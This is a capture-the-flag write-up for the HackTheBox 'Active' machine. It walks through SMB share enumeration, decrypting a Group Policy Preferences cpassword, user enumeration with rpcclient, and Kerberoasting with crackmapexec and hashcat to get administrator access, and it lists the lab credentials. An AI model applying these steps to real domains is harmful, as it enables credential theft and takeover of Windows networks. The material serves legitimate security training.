Active

CTF	HackTheBox
Category	Writeup
Created	@July 25, 2021 12:35 AM
Date	
Description	
Fields	
Level	Easy
Tags	Active Directory Kerberos SMB Windows

Info

Credential

User	Password	Service	Note
active.htb\SVC_TGS	GPPstillStandingStrong2k18	LDAP	
Administrator	Ticketmaster1968		

System

- hostname: `active.htb`

DNS

- TCP port is open -> Domain Transfer (X)

Kerberos

SMB

Shares

```
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share IPC$
[+] Mapping: OK, Listing: DENIED
[*] Testing share NETLOGON
[+] Mapping: DENIED, Listing: N/A
[*] Testing share Replication
[+] Mapping: OK, Listing: OK
[*] Testing share SYSVOL
[+] Mapping: DENIED, Listing: N/A
[*] Testing share Users
[+] Mapping: DENIED, Listing: N/A
```

LDAP

Path

User, Root

1. The share `Relpication` is readable. In the share, there are two folders with the UUID as their names.

    - default domain policy: `{31B2F340-016D-11D2-945F-00C04FB984F9}`
    - default domain controllers policy: `{6AC1786C-016F-11D2-945F-00C04fB984F9}`

    ```
    ./Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
    ./Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol
    ./Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
    ./Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI
    ./Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI
    ./Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdi
    ```

```
t/GptTmpl.inf
./Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI
```

2. According this article, the `active.htb` obtained earlier should be in `SYSVOL` share. Thus, we can crack the user `active.htb\SVC_TGS`'s password from `Groups.xml`. Throw it into CyberChef, choose base64 -> AES-CBC with IV=NULL, then get the password `GPPstillStandingStrong2k18`.

   (Active Directory)

   ```
   $ cat Policies/\\{31B2F340-016D-11D2-945F-00C04FB984F9\\}/MACHINE/Preferences/Groups/
   Groups.xml
   ...
   userName="active.htb\\SVC_TGS"
   cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aS
   VYdYw/NglVmQ"
   ```

3. Logon using `rpcclient` and get all the users.

   ```
   rpcclient $> enumdomusers
   user:[Administrator] rid:[0x1f4]
   user:[Guest] rid:[0x1f5]
   user:[krbtgt] rid:[0x1f6]
   user:[SVC_TGS] rid:[0x44f]
   ```

4. Do kerberoasting and get admin's password hash. Then crack admin's password with `hashcat`.

   (Attack Kerberos 102)

   ```
   $ cme ldap  -u 'SVC_TGS' -p GPPstillStandingStrong2k18 --kerberoasting kerbroast.cme
    active.htb
   LDAP         10.10.10.100    389    DC               [*] Windows 6.1 Build 7601 x64 (n
   ame:DC) (domain:active.htb) (signing:True) (SMBv1:False)
   LDAP         10.10.10.100    389    DC               [+] active.htb\\SVC_TGS:GPPstillS
   tandingStrong2k18
   LDAP         10.10.10.100    389    DC               $krb5tgs$23$*Administrator$ACTIV
   E.HTB$active/CIFS~445*$9eec1669c83d79bc5875667406319be6$5a097
   $ hashcat --force -m 13100  kerbroast.cme /opt/SecLists/Passwords/Leaked-Databases/ro
   ckyou.txt
   ```

5. We can logon SMB as admin and get the `user.txt` and `root.txt`.